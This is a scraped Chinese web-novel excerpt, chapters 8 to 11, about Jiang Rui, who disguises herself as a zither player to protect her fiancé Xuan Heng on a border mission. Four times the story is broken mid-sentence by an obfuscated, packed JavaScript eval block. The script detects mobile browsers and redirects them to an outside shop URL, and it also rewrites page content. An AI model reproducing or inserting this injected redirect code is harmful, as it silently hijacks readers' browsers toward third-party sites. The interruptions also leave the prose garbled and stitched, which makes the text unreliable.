;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16929970|192789||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 联姻，是不想放弃当时正在推进的新政。谢凝既然不愿，她也没道理强求。最初几月想来时还有些淡淡的惆怅，如今时过境迁，她只视谢凝为失而复得的盟友。 说来众人大抵不会信，她同谢凝虽然投缘，但从未谈过风月。世间要操心的事情何其多，哪一样都比这个重要。少时她只觉得同谢凝成亲也不坏，但两人既无缘分，她也不会因此困在原地。 在她能名正言顺进入朝堂前，手中的这桩婚事是她最大的筹码，为何要急着给出去？ 宣公子被问了个猝不及防，茫然地眨了眨眼。他猜自己此时若说什么“一看便是如此”，定会遭到姜小姐最毒舌的奚落。 而且说到底，眼前站着的明艳美人，如今是他的未婚妻。 他忽然有了底气，温声笑道：“自是那些世人看多了话本，胡乱痴语，姜小姐不必放在心上。” 因着最后这句话，姜芮的心情又好上了几分。 那日傍晚，不知谁家的青衫小童抱着锦盒，往隐岫斋送去了上好的天台灵芽。几日后，随着谢家家主忽然下狱，沉寂已久的汀兰公子重新出现在谢府众人面前。 另一头，齐地一案办得干净迅速，圣心大悦，当着满朝文武的面给陆铭和宣珩加官进禄。陆御史仍是板着一张脸，宠辱不惊而油盐不进。贺喜的人们心照不宣，纷纷涌向那位风流倜傥的朝堂新贵。 可惜宣二公子的风头还没起来几日，满朝的目光就又都聚焦到了另一个人身上。 当谢凝缓慢而平稳地走进大殿时，四下立刻安静了。 他虽拄着拐，却仍是人们记忆中那个风度翩翩的模样。美玉洗去了阴郁之气，比昔日更温润几分。一双凤眼含着笑意，谢凝神态自若地与同僚们点头致意，仿佛自己只是去休了个长假。 宣珩远远注视他许久，不得不承认这才是真正的国之栋梁之相。宣公子容貌极盛，历来招人喜欢，但在这朝堂之上，却无论如何也做不成这般雍容大雅。 就连皇帝见到谢凝，也禁不住直起身，定定看了他片刻。 当年他给谢凝留了官职，只是心有不忍。他没想到这位心比天高的汀兰公子，竟真能拄着拐，神色如常地走到这大殿上。 嗅觉灵敏的人已发现了形势的微妙变化。邓忠失了重要的银钱来源，在齐地多年的布置被连根拔起。宣家的美貌废物得了圣心，同姜家定下婚约。姜家长子虽被外放至河西，却听闻颇受守边将士百姓的喜爱。而谢凝雷厉风行地重整了谢家权柄，似是要卷土重来。 一时之间，京城的气氛躁动不安，就连醉吟舫的生意都更兴隆了些。 隐藏在人们视线之后的姜小姐自是愈发不得闲。好在人逢喜事精神爽，姜芮每日神采奕奕，似是不知疲累。 倒是阿云先看不下去了。她不知自家小姐在琢磨着什么惊天伟业，只知道七夕临近，小姐无论如何也该出去散散心了。许姝早早就递了帖子，邀好友去彩云楼一叙。 经侍女这么一说，姜芮方才想起上巳节后，她确实没再同许姝见过了。脑海中浮起少女好奇而探究的脸，姜芮微叹了口气：“同许小姐回个信，说我七夕一定赴约。” 8. 战报 京城不乏酒楼茶馆，但彩云楼比较特别，只做世家贵女的生意。许姝是这里的常客，今日早早便进了二楼雅间，满心雀跃地等着好友的到来。 她已经好几个月没见过姜芮了。自从上巳节后，各种消息一个接一个。她还是少女心性，每天想这背后的故事想得抓心挠肝。 姜芮以往都很准时，今日却来迟了。 早晨姜太傅得了机会，小心翼翼地试探她与谢凝如今的关系。大抵是先前在醉吟舫倾吐了多年的不耐，姜小姐难得和颜悦色，捉着父亲分析了小半日当下局势。 待她到了彩云楼，已时近中午。 姜芮含了歉色，进门便朝好友赔不是。她提了个匣子，轻轻放到许姝面前。 “前些日子恰好见到，本就想着近日给你送去的。” 少女欢喜地看着匣中的古籍，眼睛闪闪发亮。她随即也摸出一个小盒子，有些羞赧地递给姜芮：“我新做的，你拿着解闷吧。” 那是一个精巧的檀木盒子，却没有锁头。四四方方，每面都有些镂空的花纹。姜芮拿在手里摩挲了两下，又掂了掂，笑道：“这次的机关定是更难解了。” 许姝与其他世家小姐一样，勤习书画、擅长女红，爱买脂粉钗环，爱听话本故事。但她还有个不为众人所知的爱好，便是做些没什么用的机关盒子。 姜芮是仅有的几个见过她手艺的人，也是唯一一个解开了她做的所有机关盒子的人。 她们初见的那回，少女袖中不慎落下个木球，一路滚到姜芮脚边。那时许姝的本事还没如今这么高，姜小姐不消片刻便将木球解开，展成一个“姝”字的模样。 满脸窘迫的少女堪堪赶到她面前，咬着唇不知该说什么。 姜芮一边真心实意地赞叹，一边饶有兴致地将手上的东西还原成木球的形状。 自那之后，许姝便同她亲近起来。许家没太多实权，处在京城的漩涡边缘。少女心思单纯，率真而热诚，颇惹姜芮的怜爱。有时看到与机关制造相关的古籍，姜芮便会买了送她。 将新的机关盒子仔细收好，姜芮拈了块点心，好整以暇地等着许姝说话。 少女果然忍不住问：“婉婉，你同宣公子，到底是什么时候的事呀？” 姜芮信口胡诌：“年初去崇福寺祈福，机缘巧合遇上了。” “啊？”许姝有些发愣，“可我听宋姐姐说，宣公子同旁人说，你们是去年冬至乌岭赏雪的时候相识的呀。” 姜芮心中轻啧：此处确实疏忽了。她同宣珩商谈数月，从未想起来要给这事统一口径。 不过如今联姻已成定局，这些细枝末节的东西随意敷衍便好。 她刚想寻个理由搪塞，却见许姝露出气鼓鼓的表情：“我知道了，定是宣公子他……他结交太广，竟把这些都记错了。” 少女微红了眼眶，仿佛受了天大的委屈。 姜芮心觉好笑，还没出声，又听她说：“我听闻，谢大人重回朝堂了。” 她倒是不觉得姜芮迟迟不曾成亲是因为谢凝，毕竟在她心中，即便是谢大人那样的天纵英才，也未必配得上婉婉。只不过，同那位宣公子比起来，她还是觉得谢大人更顺眼些。 少女的脸上藏不住心事，姜芮心念一转，含笑道：“阿姝可是话本读多了？哪有这么多故事。” “方才是我说得不准确。我同宣公子确是去年冬至在乌岭初见的，只是那时不曾交谈太多。年初又在崇福寺遇到，这才寻到机会，坐下说了会儿话。” 姜芮神色自然，说得仿佛真的一样。许姝被她唬得一愣一愣的，不由得讪讪低头：“抱歉，是我想错了。” “至于谢大人么……”姜芮微微垂头，好让眼前的少女看得更清楚些，“他亦知我已定了亲了。” 上巳节时见过的玉簪，此刻正插在乌发间。 许姝的神色愈发窘迫。姜芮忍不住轻笑一声：“好了，阿姝。难得出来一聚，不提那些公子大人的事了。” 少女咬唇不语。她这些时日听多了传闻，总疑心好友这婚事来得太快，不知会在哪里受了委屈。 知她是为自己忧心，姜芮故意语气轻快：“你不是总担心我年岁渐长嫁不出去？如今有人愿意娶我，你怎的还不高兴了？” “我何时说过这个！”许姝忙抬头反驳，却见姜芮一脸促狭。 她气鼓鼓地瞪了好友片刻，终于小声道：“我只是不确信，你到底喜不喜欢这门亲事。” 少女确实读多了话本，一会儿疑心好友是受了绝世美貌的蛊惑，一会儿又忧心好友是因年岁渐长才胡乱许了亲事。这几个月的传闻变来变去，她不知想出了多少痴男怨女的故事。 姜芮微叹了口气，将点心碟子朝她面前推了推：“阿姝，你何时见我做过不愿做的事？” 明艳美人托着腮，眼中是不加掩饰的灿烂笑意：“这门亲事，我中意得很。” 许姝怔忡片刻，忐忑的心慢慢放了下来。她露出好奇的表情，开始问起婚事的各种细节来。从婚书到聘礼，从嫁衣到礼仪，直问得姜芮脑仁发疼。 “阿姝可是有了意中人，所以才对婚事这般上心？” 少女差点如兔子般跳起来，连连摇头：“不不不，才不是——哎呀，婉婉，好啦，我不问就是啦！” 姜芮终于如愿以偿，同她闲聊起那些充满生活气息的鸡零狗碎。少女仿佛有着无尽的精力，兴致勃勃地从跑丢的狸奴讲到今早窗前新长的枝条。姜芮一边尝着彩云楼的特色点心，一边不时应两句，逗得许姝一会儿气一会儿笑。 这样的好气氛一直持续到了两人快用完午膳的时候。姜小姐餍足地斜靠在窗边，笑眯眯地看着许姝喝掉最后那碗汤。 急促而混乱的马蹄声突兀地闯进这个画面。姜芮朝窗外望去，只瞧见几个身着铠甲的模糊背影。 略一思索之后，她脸色微变：那是河西守军的装扮。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16929971|192789||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如此疾行，只怕是边境有变。 不动声色地告别许姝后，姜芮匆匆赶回姜府。姜太傅正在书房来回踱步，见她进来，便直接将手中的密报递给她。 姜芮一目十行地读了，一双美眸逐渐冰冷。 半月前，河西潜关、临关、掖关相继遭遇突袭，五支番军阵前倒戈，三关很快失守。寒旄部此次势如破竹，大肆掠夺粮草。万幸的是这三座关隘皆不大，基本没有普通百姓居住，守军也大多成功撤退。如今周守成将军亲自带兵镇守岷关，偏将郑九州则快马疾行进京面圣。 姜芃作为河西管事，带领边境的百姓们协力抗敌。这封密报，是他六日前设法让人八百里加急送来的。他素来行事沉稳，这回却透出些焦躁和慌乱。 除了这突如其来的战事，还有另一件令人不安的事：来京面圣的郑九州，正是那个邓忠安插在河西的心腹。此番他抢了入京求援的差事，定是有邓太尉的授意。 皇帝的召令很快就到了。姜太傅同姜芮简单谈了几句，便步履匆匆地入了宫。 待他回来时，天已快黑了。 “今日郑九州同邓忠配合得极好，差点逼得圣上换掉周守成，”姜太傅面沉如水，不停地捻着胡子，“邓忠给郑九州拨了两万精兵，令他明日便领兵回援。” 姜芮蹙眉：“此次番军倒戈定有蹊跷。景澜同宣珩刚开始查河西漕运，还未探得什么，但许是已惊到了邓忠。” 姜太傅缓缓颔首，又沉声道：“还有，此行郑九州领兵回河西，圣上点了宣珩监军。” 猛的握紧了手中的镇纸，姜芮目露惊讶，半晌才慢慢抿紧了唇。 皇帝有心制衡，不愿邓忠染指河西。若谢凝未伤了腿，应是此行监军的最佳人选。宣二公子虽也会些骑射，却全无军旅经验。这会儿赶鸭子上架，许是皇帝另有别的心思。 思至此，姜芮眼底划过一丝讥诮：“此行若他孤身一人，未必能安全抵达河西。” 姜太傅神色犹疑：“毕竟是钦点的监军，邓忠应不至于——” “父亲同他打了这么多年的交道，如今仍还心存幻想么？”姜芮语气冰冷。 宣二公子尚在努力声色犬马的时候，邓忠就已十分忌惮。如今他名声鹊起、深得圣眷，邓忠怎会放过这么好的机会？很难说皇帝此举没有点试探的心思，却是把宣珩推到了个十分危险的位置。帝王心术，用得可不怎么高明。 说到底，天下如今这般模样，金銮殿上的这位也算出了不少力。 姜太傅不知女儿正大逆不道地腹诽着什么，只拧紧了眉喃喃自语：“明日便要动身，除了贴身侍卫之外，怕是一时再难安排太多……” 他思忖片刻，蓦的抬头去看姜芮：“婉婉，你该不会是——” “父亲果然了解女儿。” 姜芮语气轻快，笑吟吟地看着他：“明日我便乔装出城，帮衬下宣公子。接下来几个月，还请父亲设法遮掩一二。” 9. 琴师 郑九州是个不苟言笑的精瘦男人，对什么人都是一副铁面无私的样子。大军开拔没几日，他便找上宣珩，说边关事急，不若自己带主力疾行，让监军带着一干文吏殿后。 他那干巴巴的脸上没什么表情，但宣珩硬是从中读出了几分嫌弃：你们这班读书人，走得太慢了。 这倒也无法反驳。宣珩自知自己的那些骑射本事都是些花架子，于是顺水推舟地应了：“如此甚好。我带人绕道沿途驿站，正好能检查一二，也算尽了监军之职。” 翌日郑九州便带着精兵向西疾行，给他留了个帐下管事照应。 这位管事与自家将军的风格迥异，执着把竹骨扇，见了谁都笑得春风拂面。宣珩与他对上，倒愈发像是公子哥结伴骑猎一般。 “宣公子，喔不，宣大人，今日行至梓城，可好好休整一番。” 罗万卿摇着扇子，笑眯眯地凑近了低声说：“梓城虽不比京中，但也算这一路上最繁华的城。我已让人先行去安排了，今晚一定好好给大人接接风。” 宣珩莫名一个激灵。 这一路，这位罗管事已经明里暗里要拉自己去“接风”了数次。难为他在这行军路上还能找到酒楼乐馆，像是生怕自己这个京城纨绔发闷似的。 此番出行颇为仓促，宣尚书只来得及简单同他讲了个中利害，总结起来无非是一句话：未到河西见到姜芃和周守成前，需得时时刻刻小心安全。 姜太傅设法送了几个可靠的卫兵到他身侧，其余的便只能靠他自己随机应变了。 现下罗万卿如此热情地再三给他安排酒宴，自然不会是因为“仰慕宣二公子已久”。 此前宣珩推拒不过，只得捏着纨绔公子的架子挑三拣四。楼宇气派，但仿制拙劣，不去。酒菜丰盛，但格调不高，不去。歌舞齐备，但脂粉艳俗，不去。 一路周旋到这梓城，看来是糊弄不下去了。 罗万卿说的是实话，梓城地处要道，确实是西行路上最大的一座城。他今日铁了心要请宣公子赴宴，早早便遣人订了城中最好的酒楼。 甫一进门，宣珩便不得不承认这酒楼几乎不输瑞祥楼。罗万卿做足了准备，酒菜皆是上乘。仅有的几个亲卫被安排在隔间，宣珩随口胡诌着些附庸风雅的饮食说法，迟迟不肯落筷。 罗万卿露出了然的笑容，打了个手势，又邀功似的对宣珩说：“宣大人此前嫌歌舞艳俗，今日便安排了个雅的。这里的琴师个个出彩，一会儿便让那最好的给大人弹一曲。” “行军路上不好张扬，只能请大人尝尝梓城这里特产的素酒。此酒别有一番风味，还望大人不要嫌弃。” 话音刚落，堂倌便托着个木盘朝他们走来。木盘上只有个白玉酒壶，看起来颇为雅致。一个小童跟在后面，怀里抱着张比自己还高的琴。 宣珩还没来得说什么，便听得一声惊呼。似乎是那琴童走得急了些，不知怎的就绊到了堂倌，一个趔趄便将那白玉酒壶甩到了地上。酒液撒了一地，甘甜的气息很快就弥漫在了空气中。 罗万卿脸色剧变，勃然大怒。堂倌连连讨饶，琴童也抱着琴瑟瑟发抖。 一袭红衣的琴师从琴童身后款款走出，惶恐告罪：“小童不懂事，冲撞了两位大人，还请大人恕罪。” 她虽盈盈拜倒，却微抬了头，正好露出一双流光潋滟的眼睛。还未见得全貌，就能看出这定是位美人。 宣珩张了张嘴，愣是没说出一句话来。他紧紧盯着眼前的姑娘，几乎能听见自己剧烈的心跳声。 “大人？” 罗万卿从震怒中恢复过来，狐疑地去唤失了神的监军大人。 琴师跟着直起了身，怯怯地看向宣珩，心中却想：啧，若这样还认不出来，那还不如就让罗万卿一杯毒酒把他放倒算了。 宣珩这才仿佛如梦初醒，眉目含情地叹了一句：“果真是美人。” 姜芮松了口气，佯作羞赧地垂了头。罗万卿回想着刚才看到的那张艳丽的脸，又见宣珩眼睛一错不错的样子，只得藏起心中不屑，陪笑着说：“大人喜欢就好。” 他挥手让堂倌再去取壶酒来，却被宣珩拦住了：“美人在前，何须饮酒。” 宣公子似乎终于有了兴致，目光一直跟随着琴师，再没瞧那满桌的饭菜一下。 罗万卿暗自磨牙，却也只能端着笑，陪宣公子听琴。 他自认也是读书人，通些音律，听完一曲并没觉得有什么惊艳之处。只是这琴师确实容貌殊丽、仪态万方，说是此地最好的琴师倒也不为过。 至少，阅人无数的宣公子，此刻看起来已神魂颠倒。虽然今夜没有达到目的，但留个破绽在身侧，倒也聊胜于无。 一曲终了，他便趁着宣珩抚掌吟诗的时候，笑眯眯地建议：“宣大人既然喜欢，不妨就将人带上。此行艰苦，出了梓城，怕是再难觅到如此绝色了。” “这……”宣公子露出犹疑的神情，“怕是唐突了姑娘。” 他如今满心满眼都是眼前的这位美艳琴师，似是完全忘了自己是个监军，带个姑娘在身侧才是荒唐。罗万卿摇着扇子，笑着保证：“只是多辆马车的事，宣大人不必忧心。” 宣珩感激地点点头，却又站起身来，斯斯文文地走到那琴师身前，一本正经地问起姑娘的意见来。 罗万卿暗自翻着白眼，口中还得给他捧场：“宣大人果真怜香惜玉，最为体贴美人。” 如此来回磨了好一阵，直到罗万卿丢出一袋银子到案上，琴师方才欠身行礼，应了这邀约。 斜睨着宣珩陪着琴师离开，罗万卿收了笑脸，发出一声冷哼。他慢条斯理地尝着满桌未动过的菜，一边盘算：行军路上醉死在美人帐中，听起来倒是比醉死在酒楼更恶劣些。这些银子使出去，也不算亏。 当晚，宣公子说是送琴师回房，却在屋里待到了亥时三刻。他没能就此在琴师房中过夜，倒是让罗万卿有些失望。 烛光映出两人坐在一处的身影，随着光影摇曳，看起来十分亲昵。不过，若是他知道两人在房中窃窃私语的并非情话，只怕就不是失望而已了。 宣珩正襟危坐在榻上，双手放在膝上，目不斜视地瞪着眼前的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16929972|192789||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 红烛，语气却是少有的严厉。 “姜太傅怎的能容你如此胡来！” 姜芮微蹙了眉看窗上映出的剪影，颇有几分不耐：“宣公子往日也是这么同姑娘说话的么？肩放松，侧过来些。” 她骤然逼近，携着脂粉的香气，差点激得宣珩跳起来。 “你……你到底有没有在听我说话？”宣公子声音恨恨，肩膀似乎更僵硬了。 姜芮干脆探出手去，扯了他袖子，又在他耳边吐气如兰：“我若不来，今夜那杯酒，你是打算直接泼罗万卿脸上么？” “我不喝，他也不能硬灌。便是撕破脸，隔间还有亲卫在。” 宣珩垂眸看着她的红裙，手心微微出汗。他方才顺着姜芮的力道，伸手撑在了她身侧，这会儿开口说话，几乎要碰到美人那晶莹的耳垂了。 美人轻笑一声，似是对这个姿势满意了。她知宣珩说的不错，索性耍起赖来：“如今我已是宣大人的琴师了，总不好过了今夜再送回去。” 心中莫名一跳，宣珩咬了咬牙，好声好气地劝她：“过两日你称病便是，我着亲卫送你回去。” “宣公子果真体贴，”姜芮想起今晚这场戏，忍不住揶揄，“此番对琴师如此中意，你猜罗万卿会不会想办法再找些美人来？” 宣珩恨恨回击：“宣公子眼光甚高，哪是什么美人都能带在身侧的？” 姜芮微眯起眼，不置可否：“你可知罗万卿今夜在酒中给你下的是什么药？” “无非是些迷药罢了，”宣珩努力将思绪拉回到正事上来，“监军途中寻欢作乐，一醉不醒耽误战事。估计连参我的折子都写好了吧？” 姜芮嗤笑一声：“宣公子果真是好心肠。” 她声音渐冷：“阿竹说，他下的是种难得的毒药，唤作醉梦沉酣。掺在酒中，会增添甘香之气。喝完之后，便是真的一醉不醒。” “宣尚书应提醒过你此行凶险，我知你定是没理解其中之意。单凭父亲送的这几名亲卫，我实在是放不下心。” 她语带讥诮，宣珩却心神一动，撑着床榻的手似乎有些发软。 “姜小姐是忧心我，所以才冒险跟来的么？” 姜芮听出他语气有些异样，略略敛了神色，正经道：“此行你势单力薄，抵达河西前实在凶险。我并非疑心你的能力，但事关河西局势，能多一分力也是好的。” 虽然跟想听到的回答有些偏差，但宣公子仍然扬起唇角：“如此，便多谢姜小姐了。” “不过……罗万卿眼光毒辣，姜小姐亦得小心遮掩身份。” 姜芮挑眉：“怎么？今日我扮得不像么？” 她特意化了艳丽的妆容，举止模仿了以前见过的乐坊姑娘。便是阿云乍一眼看到，也不会立刻联想到自家小姐。虽说她并不擅长抚琴，但今夜弹的这曲还算熟练，姜芮自觉应毫无破绽。 宣珩却微微摇头，在她耳边轻声道：“姜小姐什么都注意到了。唯独这双眼，不论是喜是惧，总带了几分锐利。” “这天下的琴师，怕是没有一个像这样的。” 10. 流寇 连绵起伏的山峦下，长长的队伍沉默地行进在黄土之上。出了梓城，人烟开始稀少，马蹄扬起的尘土在阳光下闪烁着细碎的光芒。 一队卫兵神色肃穆，分列在队尾一辆马车的两侧。车夫是个面容稚嫩的小童，手握缰绳，一丝不苟地坐在正中。车厢里，两人正凝神对弈。 美艳琴师摩挲着琴弦，思忖着眼前的棋局。土路多颠簸，棋子被震得微微移动。她执白的手却十分沉稳，落子发出清脆的声响。 见她嘴角噙笑，对弈的美貌青年微拧了眉，手犹疑地向棋盒探去。 半晌，黑子终于落下。姜芮略显意外地“嗯”了声，饶有兴致地重算棋路。 宣珩心中一喜，分神去看她今日的装扮。 姜小姐素来沉稳大气，不喜繁复发式，配饰精而不多。如今扮作琴师虞姑娘，却是极尽华丽。这会儿并无旁人，她恢复了往日的神态，无端透出种摄人心魄的侵略感来，美得恣意而令人心惊。 “该你了。” 清冽的声音唤回了思绪，宣珩将目光挪向棋盘，慢慢变了脸色。 又下了二十手，宣公子投子认输。 显然，姜小姐的棋艺比琴技高上太多。这是今日的第二盘，宣珩甚至输得比上一盘更惨一些。 他盯着残局看了又看，忍不住想说“再来一局”。宣二公子在京中说不上所向披靡，但也很少输得如此干脆。 “快到驿站了，择日再陪宣公子手谈。”姜芮心情愉快，看起来也有些意犹未尽。 姜太傅是个臭棋篓子，自从长兄去了河西，她就没再摸过棋盘。确切的说，自从与谢凝断了来往，她已很久没有下过这么有趣的棋了。 方才她亦有些上瘾。原本下完一盘后，就该谈正事的。 宣珩悻悻地看着她将棋盘收起，定了定神，低声说起自己这些时日的探查结果。之前他同谢凝查河西漕运，并未察觉有何不妥之处。此行他又清查了途经的驿站，也是一无所获。 姜芮摩挲着琴弦，神色未变。 思忖片刻，她低声开口：“我近日也在想此事。河西漕运多是运送军粮装备，邓忠军旅起家，一向注重自己在军中的名声威望。” “世人皆知如今户部之令不出京畿，漕运实际由兵部把持。邓忠虽想要河西兵权，但通过克扣军备引得周守成战事失利，似乎也不是什么高明之策。” “比起河西，江南才是漕运发达的富庶之地，军漕占比极低。我若是邓忠，定会专心经营江南。” 宣珩闻言颔首，又道：“但此次河西战事骤变，番军临阵倒戈，定与郑九州脱不开干系。待到了河西，还是得设法查查账册。” 姜芮点头应了，兀自想着什么事情。见她不再说话，宣珩莫名有些不自在。他轻咳一声：“那一会儿到了驿站——” “宣大人既是监军，自然还是应认真查验，”姜芮懒懒抬眼看他，“还有，毕竟是在行军路上，大人一直待在此处，许是不妥。” “罗管事一人在车上，怕是也想着大人呢。” 宣珩一阵头皮发麻。他放着监军的大马车不坐，偏要躲在姜芮这儿，除了有事商谈之外，也是想避开罗万卿一会儿。这些天同这位罗管事周旋，实在耗费了他太多心力。 不过姜芮说的没错。他虽顶着纨绔的头衔，但毕竟是钦点的监军。一直赖在美人怀中，仍是惹人起疑。 心中长叹一声，他伸手去掀门帘，回去继续应付罗万卿。 之后的几日便也差不多这样过去了。驿站仍是干干净净，查不出一点问题。就连罗万卿都似乎放弃了，不再殷勤地来送酒送菜，连言语试探都少了。 宣珩心神略松，晚上便有了精力复盘白天的棋局。待这日同姜芮对弈时，他竟能中盘占优了。 美貌青年目露欣喜之色，眉眼舒展，透出一股意气风发的精气神来。 姜芮腹诽他怕是齐地之案后加官进禄，也没有现下这般高兴。她自己却也不自觉扬起唇角，眼底尽是笑意。 棋逢对手，即便是在狭小而颠簸的马车中，对弈也是酣畅淋漓。 就在最后的收官之战时，马车骤然晃动起来，棋盘应声翻倒，黑白棋子落了一地。宣珩迅速朝姜芮看了眼，示意她别乱动，随即探出身去，努力辨认四方的呼喊声。 今日他们途经驼陵，是个狭窄崎岖的山谷地带。这边偶有流寇侵扰，作风甚为彪悍。话虽如此，宣珩也没想到竟真有如此胆大的流寇，敢截正规军的道。 这群流寇人数不多，行动迅速，直冲着队尾的辎重而去。他们熟悉地形，很快截下最后这部分队伍，同押运的士兵打得有来有回。 宣珩本不该出现在队尾，但他收的琴师没有什么正式的身份。罗万卿将姜芮的这辆小马车编进了医官的队伍，同辎重兵一同行进。 这会儿被流寇截了道，监军和美人便在这狭窄山谷中成了瓮中之鳖。 好在这群流寇自知人少，看起来应是想速战速决，抢些东西就跑。前头的队伍已反应过来，同据守的一小队流寇打得十分激烈。 宣珩拍了拍阿竹的肩，示意他进去保护自家小姐。他随即深吸了口气，纵身跃上了亲卫替他牵的马。 他这身装扮看着就不像普通人，身边又有一队看着就是精锐的亲卫。流寇们也知道擒贼先擒王的道理，纷纷朝他涌来。宣珩心中暗骂，努力纵马避开。他只希望那群流寇别聪明过了头，想着进他马车去找什么宝贝。 山谷之中腾挪的空间十分有限，一时间喊杀声四起，场面混乱不堪。 宣珩紧抿着唇，手被缰绳勒得发红。他已渐渐察觉不对，这群流寇对他的兴趣似乎比那粮草兵器还大。身边的亲卫们被逐个冲开，他双目赤红，只能一遍遍强迫自己冷静。 闪躲间，他扭身避开流寇的一刀，又腾出手来拔出剑，胡乱劈砍过去。 许是他的功夫比自己想象中的强一些，那流寇惨叫一声，随即栽下马来。宣珩有了些信心，努力朝开阔处移动。他脸上沾了些血，反倒衬得面容愈发昳丽。 平日风雅的监军高举起剑，大声呼喊着命令，让士兵们集中起来，朝一处突破。他虽不懂兵法，但也看得出流寇人数并不占优，待抢得开阔处，便可结阵反攻。 似是察觉了他的意图，几个流寇相互 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16929973|192789||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打着呼哨，拍马朝他包抄而来。 宣珩咬牙策马，瞥见身后已渐渐有士兵跟上。最初的慌乱过去之后，局势渐渐开始扭转。他微松了口气，分神去看姜芮的马车。 电光石火间，身下的马一个趔趄，几乎将他甩下背来。宣珩勉力维持着平衡，发现马腿上已中了一箭。还没来得及多想，呼啸的箭声擦着耳朵飞过，他惊出一身冷汗，手抖得差点握不住缰绳。 正跌跌撞撞要坠下马来之际，身后迅疾地窜出一个朱红色的身影，马匹几乎贴着自己，一只素白的手伸到跟前。 “上来！” 还未完全理解发生了什么，宣珩便下意识握住那只手，随即一借力，狼狈地翻上了隔壁的马背。 身前的脂粉香气混杂着急促的呼吸，让他一时有些目眩。清冽的声音再次响起：“抓紧点！” 他便胡乱抓了把缰绳，脑袋嗡嗡作响。 姜芮目光凛冽，纵马狂奔。她御马技术极好，闪转腾挪间，竟将那些流寇一一甩开。不仅如此，她甚至还能微眯了眼，去分辨那冷箭是从何而来。 放着无人看守的辎重不管，非要追着个看似金贵的公子哥不放。这群流寇未免也太不专业了。 已有一些士兵集结在一起，宣珩定了定神，挥剑指挥结阵。前头的队伍也终于攻破了流寇的据守，冲进了这片战场。 流寇很快便溃退而去。宣珩下令清扫善后，又沉声安抚众人。半晌，他自己才缓过神来，慢慢把剑收入鞘中。 姜芮终于寻得机会，回头看他：“方才可有受伤？” 宣珩应了声“并无”，随即下了马，胸膛仍剧烈地起伏着。他不曾经历过战事，也不曾拿剑斩过什么人。方才他行事全凭直觉，现下渐渐回过味来，心中便禁不住后怕。 不远处，罗万卿正一路小跑着过来。姜芮轻咳了一声，不动声色地将袖口的扎带解下。宣珩伸手扶她下马，看着她重新变回柔弱的虞姑娘，一时五味杂陈。 罗万卿看起来是发自肺腑的沮丧和不安，见了宣珩便喃喃低语“万幸万幸”，听着不怎么情真意切。宣珩同他打了会儿哈哈，借口说方才美人受了惊，便将后续的处理交给他，带着姜芮重新坐进了马车。 马车受了些冲撞，但勉强还能用。阿竹看见自家小姐，嘴角一撇，几乎就要哭出来了。 姜芮揉了揉他的发顶，柔声道：“没事了。我同宣公子说些话，你莫让人靠近来。” 阿竹乖巧地点点头，忘了自己方才还决心要让小姐发誓不再胡来。 不过好在有人为他做主。 车厢里，宣珩双手微颤，面色铁青：“你方才……你怎能……你——你简直是胡来！” 姜芮漫不经心地收拾着一地的棋子：“怎么？我在宣公子眼中，就如此铁石心肠，宁愿看着你中箭坠马，也不愿出手相助？” “而且，我的骑术也不至于到胡来的地步吧？”她扬了扬眉，颇有点自豪，“这些年没怎么练，今日看来还没退步得太厉害。” 宣珩定定地看着她，脸色渐渐发白，最后露出一个虚弱的笑容：“姜小姐文武兼备，是我幸得援手。” 11. 入城 在本朝，“文武兼备”这个词，原是用来说谢凝的。谢大人还未弱冠时，便率领精兵半月内收复了西南失地，又同敌军主帅谈笑风生，签下和约。 姜芮自觉当不起这四个字，也清楚自己方才确实冒险。虽然宣珩的语气听着不像讥讽，但大抵还是有些生气了。她莫名心虚了一瞬，于是认真道：“我只会御马，不会别的。方才全凭宣公子临危不惧、调度有方。” 虽说一开始有些慌乱，但作为平日只会打打马球的纨绔公子，能迅速应变、稳定军心，已经不错了。 姜小姐难得夸人，宣公子却兴致不高。他知道自己几斤几两，也知道姜芮方才想到了什么人。少时只有些不服气自己的字被拿去同他作比，如今的心情却变得愈加复杂了。 